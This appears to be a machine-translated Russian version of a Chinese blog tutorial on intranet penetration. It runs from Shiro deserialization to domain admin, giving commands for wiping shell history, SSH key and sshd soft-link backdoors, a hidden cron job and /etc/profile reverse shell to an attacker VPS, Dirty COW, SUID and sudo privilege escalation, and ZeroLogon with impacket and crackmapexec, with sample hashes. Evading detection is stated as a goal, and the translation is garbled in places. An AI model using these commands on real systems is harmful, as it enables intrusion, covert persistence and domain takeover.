Сетевая безопасность: примеры проникновения во внутреннюю сеть, Xiaobai также может понять проникновение во внутреннюю сеть.

Введение

Войдите из linux в доменную среду, чтобы получить права управления доменом. Практическая работа всей статьи

2. Управление экстранетом

1. Откройте сайт, обычный интерфейс входа

2. После попытки входа обнаруживаются типичные черты широ.

3. Используйте инструмент для прямого ввода shiro для десериализации.

4. Перейдите прямо к Ледяному Скорпиону и подключитесь

[1> Приобретение всех ресурсов <1] 1. 200 копий многих вышедших из печати электронных книг, которые больше не доступны 2. Внутренние видеоматериалы 30G крупных охранных компаний 3. 100 копий документов src 4. Общая безопасность вопросы для интервью 5. Классические вопросы конкурса ctf Анализ 6. Полный набор инструментов 7. Заметки о реагировании на чрезвычайные ситуации 8. Маршрут обучения сетевой безопасности

3. Поддержание полномочий

На самом деле, я прочитал много статей о поддержании полномочий, и все они включают в себя изменение пользователей, однако, поскольку первое, что нужно проверить для экстренного реагирования, — это статус входа пользователя, /etc/passwd и изменение файла /etc/shadow, здесь это делать не рекомендуется. Конечно, те, что представлены ниже, также являются относительно распространенными, простыми операциями, и операции на самом деле несколько очевидны.Вы можете выбрать одну или две для использования.В конце концов, чем меньше операция, тем ниже вероятность быть обнаруженным; также можно сделать больше.Несколько разрешений сохраняются, если удалить одно, будет другое ~

(1) Сокрытие исторических записей

1. Добавьте пробел перед командой, команда не будет записана[空格]cat /etcpasswd

cat /etc/passwd

Вы можете видеть, что команда записывает только один

2. Команда настройки не записывается

[空格]set +o history

скопировать код

восстанавливаться

set -o history

3. Удалить команду указанной строки в файле истории, [число] — метка слева от каждой строки команды.

history -d [num]

Вы можете видеть, что исходная команда 1 была удалена.

4. Чтобы быть грубым, удалите содержимое файла истории напрямую.

#向history文件写入空内容,覆盖原本内容echo > ~/.bash_history
#清空当前history记录history -c

скопировать код

(2), запись открытого ключа SSH

SSH-соединение эквивалентно получению оболочки целевого хоста. Помимо использования пароля учетной записи для подключения, есть еще один способ записать ключ ssh в каталог **/root/.ssh/authorized_keys**, после чего вы сможете войти без пароля.

Если вы знакомы с использованием уязвимостей несанкционированного доступа в redis, вы должны быть знакомы с этим методом. Это также способ оставить черный ход.

Сгенерируйте ключ ssh, введите команду и трижды нажмите Enter.

ssh-keygen -t rsa

После генерации в папке ~/.ssh/ обнаруживается, что ключ успешно сгенерирован. Где id_rsa — закрытый ключ, а id_rsa.pub — открытый ключ.

Введите содержимое файла id_rsa.pub в файл ~/.ssh/authorized_keys, если такого файла нет, создайте его самостоятельно

Попробуйте ssh-подключение успешно

ssh [email protected]

(3), мягкое соединение SSH

Принцип: при условии, что аутентификация PAM включена в конфигурации службы sshd, когда флага управления в файле конфигурации PAM достаточно, пока модуль pam_rootok определяет, что uid равен 0 (root), вход в систему может быть успешным.

То есть, когда аутентификация pam включена, вам нужно только найти файл, настроенный как достаточно аутентификации pam_rootok.so. 1. Введите команду для создания мягкого подключения, а порт — 10022.

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=10022

2. ssh-соединение, введите любой пароль и успешно войдите в систему.

3. Простота в использовании проста в использовании, но ее легко найти, вы можете найти ее, набрав ps-aux.

(4), задачи планирования

1. Создайте новый файл cron.sh.Здесь я выполняю команду nc для обращения оболочки.Также доступны и другие команды.

2. Настройте задачи по расписанию, где */3 означает выполнение каждые 3 минуты.

(crontab -l;printf "*/3 * * * * /bin/bash /tmp/cron.sh;/bin/bash --noprofile -i;\rno crontab for кто я%100c\n")|crontab -

3. Успешно скрыть запланированные задачи

4. Получите рикошетную оболочку

(5) Внедрение бэкдора через переменные окружения

Общие пути к переменным среды следующие:

/etc/profile/etc/profile.d/*.sh~/.bash_profile~/.profile~/.bashrc~/bash_logout/etc/bashrc/etc/bash.bashrc
код

Запишите команды обратной оболочки в переменные среды

echo 'bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1' >> /etc/profile

Таким образом, при перезагрузке системы оболочка вернется к vps.

В-четвертых, сбор информации о хосте

После получения разрешения требуется сбор определенной информации

(1) Запрос информации об учетной записи

whoami

id

cat /etc/passwd

cat /etc/shadow

(2) Запрос информации о сети и порте

ifconfig

netstat -anlp

arp -a

route -n

(3), список процессов запроса

ps -ef

(4) Система запросов и информация об исправлениях

Проверьте, какие пакеты установлены, запросив версию ядра uname -a или используя rpm -qa.

(5) Получение ваучеров

cat /root/.bash_history    //历史输入命令cat ~/.bash_history    //历史输入命令

скопировать код

w           //目前登录的用户

скопировать код

5. Повышение прав

Из соображений безопасности сайты тестирования на проникновение часто понижают рейтинг некоторых баз данных или сайтов, снижая полномочия на управление сайтом или базой данных, не позволяя злоумышленникам напрямую создавать более серьезные угрозы после получения полномочий. Это означает, что во время теста на проникновение разрешения веб-сайта, которые мы получили, являются низкими разрешениями, и мы можем выполнять только ограниченные операции.Если мы хотим прорваться через текущий хост для проникновения во внутреннюю сеть, нам необходимо получить относительно высокие разрешения, такие как разрешения администратора, так что проникновение во внутреннюю сеть может быть реализовано на основе текущего сервера. Тогда давайте разберемся с делением серверных разрешений.В системе windows наивысшим разрешением является системное системное разрешение, а самым низким - гостевое разрешение. В системе Linux высшими полномочиями являются полномочия root.

(1) Повышение уязвимости ядра

Условия использования

В соответствующем ядре системы есть определенные уязвимости, а патчей нет, то есть могут быть уязвимости ядра.

cat /etc/issue #查看发行版本uname -r             #查看内核版本

скопировать код

Боевая демонстрация

1. Во-первых, используйте вспомогательный инструмент Linux для повышения привилегий linux-exploit-suggester, чтобы определить, какие уязвимости можно использовать для превышения повышения привилегий.

2. Здесь выберите Dirty Cow — CVE-2016-5195, чтобы повысить права. Сначала загрузите соответствующий exp, используйте команду gcc -pthread dirty.c -o dirty -lcrypt для компиляции dirty.c, и после завершения компиляции будет сгенерирован грязный файл.

3. Выполните повышение привилегий грязного файла, введите пароль в конце и получите имя пользователя firefart, а пароль — это учетная запись, которую я ввел.

4. Войдите под пользователем, просмотрите и успешно получите привилегии root

(2) Повышение привилегий SUID

SUID означает «Установить идентификатор пользователя» и представляет собой функцию Linux, которая позволяет пользователю выполнять файлы с разрешениями указанного пользователя. Например, команду apt-get необходимо выполнять с привилегиями root.Мы можем установить SUID пары apt-get, чтобы пользователи с низким уровнем привилегий также могли выполнять операции apt-get с привилегиями root. Обычно для обозначения SUID используется буква «s» вместо «x». 1. Используйте следующую команду, чтобы обнаружить исполняемые файлы SUID, работающие в системе.

find / -perm -u=s -type f 2>/dev/null

2. Проверьте команду find и убедитесь, что вместо x действительно используется s.

3. Выполните команду с помощью команды find и успешно выполните команду с привилегиями root.

(3), ошибка конфигурации Sudo

В sudo есть такая уязвимость, пока пользователь указывает UID как -1 или 4294967295 при использовании команды sudo, команду можно выполнить от имени root. 1. Выполните команду id с привилегиями rootsudo -u#-1 id

2. Выполните команду whoami с привилегиями root.sudo -u#-1 whoami

6. Боковое движение

Есть много способов латерального перемещения, вот уязвимость, которая была раскрыта в 2020 году и может напрямую атаковать контроллеры домена.

(1), CVE-2020-1472

Удаленный протокол NetLogon — это интерфейс RPC, используемый на контроллерах домена Windows и используемый для различных задач, связанных с проверкой подлинности пользователей и компьютеров. Чаще всего используется, чтобы позволить пользователям входить на серверы с использованием протокола NTLM, а также для проверки подлинности ответа NTP и обновления паролей компьютерного домена. 11 августа Microsoft MSRC выпустила рекомендацию по безопасности об уязвимости повышения привилегий Netlogon. Номер CVE этой уязвимости — CVE-2020-1472, а оценка CVSS — 10,0. Представлено Томом Тервоортом из Secura и названо ZeroLogon.

Используемые инструменты:

1, опыт

2. набор инструментов импакта

1. Сначала получите информацию о домене

net group "Domain Controllers" /domain

Здесь получается домен ajie.cool, имя хоста контроллера домена AD

2. Используйте exp, чтобы очистить пароль управления доменом.

python3 cve-2020-1472-exploit.py -nимя хоста контроллера домена -t IP-адрес контроллера домена

python3 cve-2020-1472-exploit.py -n AD -t 192.168.30.128

Здесь пароль успешно удален

3. Используйте скрипт secretsdump.py из набора инструментов impacket, чтобы получить хэш

python3 secretsdump.py ajie.cool/AD\[email protected] -no-pass

Administrator:500:aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3:::
AD$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

скопировать код

Вы можете видеть, что хэш AD$ равен 31d6cfe0d16ae931b73c59d7e0c089c0 , что является пустым паролем.

После получения хэша вы можете выполнить взлом хэша или PTH, поэтому я не буду его здесь показывать. 4. На следующем шаге нам нужно восстановить пароль. Во-первых, через полученный хэш можно выполнить pth-атаку через wmiexec.py и получить шелл

python3 wmiexec.py -hashes  aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3 [email protected]

скопировать код

5. В середине опустить шаг получения разрешения на удалённый рабочий стол, а также можно выйти в интернет с CS, в основном для удобства загрузки файлов system.save, sam.save, security.save.

6. Получить сохранённый хэш через secretsdump.py (путь к файлу указан по своему, я перескакивал через ../../ т.к. он на десктопе)

python3 secretsdump.py -sam ../../sam.save -system ../../system.save -security ../../security.save LOCAL

скопировать код

Строка в рамке, последняя часть — исходный хеш

75f490ed04ba66f04e0e947a185679bd

7. Восстановить пароль с помощью инструментов

python3 reinstall_original_pw.py AD 192.168.30.128 75f490ed04ba66f04e0e947a185679bd

скопировать код

8. Попробовал, не прошел эксплойт без прохода

7. Развернуть результаты

NTLM-хэш контроллера домена был получен ранее, тогда вы можете использовать Crackmapexec для получения прав хоста пакетами (через NTLM-хеш контроллера домена и указанный IP-сегмент для атаки) и установить его под kali

apt-get install crackmapexec

Просто введите следующую команду

proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x whoami
IP :指定要攻击的IP段-u :指定用户名-H :指定NTLM Hash-d :指定域-x :执行系统命令·

скопировать код

Вы можете увидеть администратора, который вернул контроллер домена

proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x ipconfig

скопировать код

[Один за другим, чтобы помочь безопасному обучению (учебный маршрут + видео, видеоурок + инструменты) один за другим]

Supongo que te gusta

Origin blog.csdn.net/jazzz98/article/details/130169079
Recomendado
Clasificación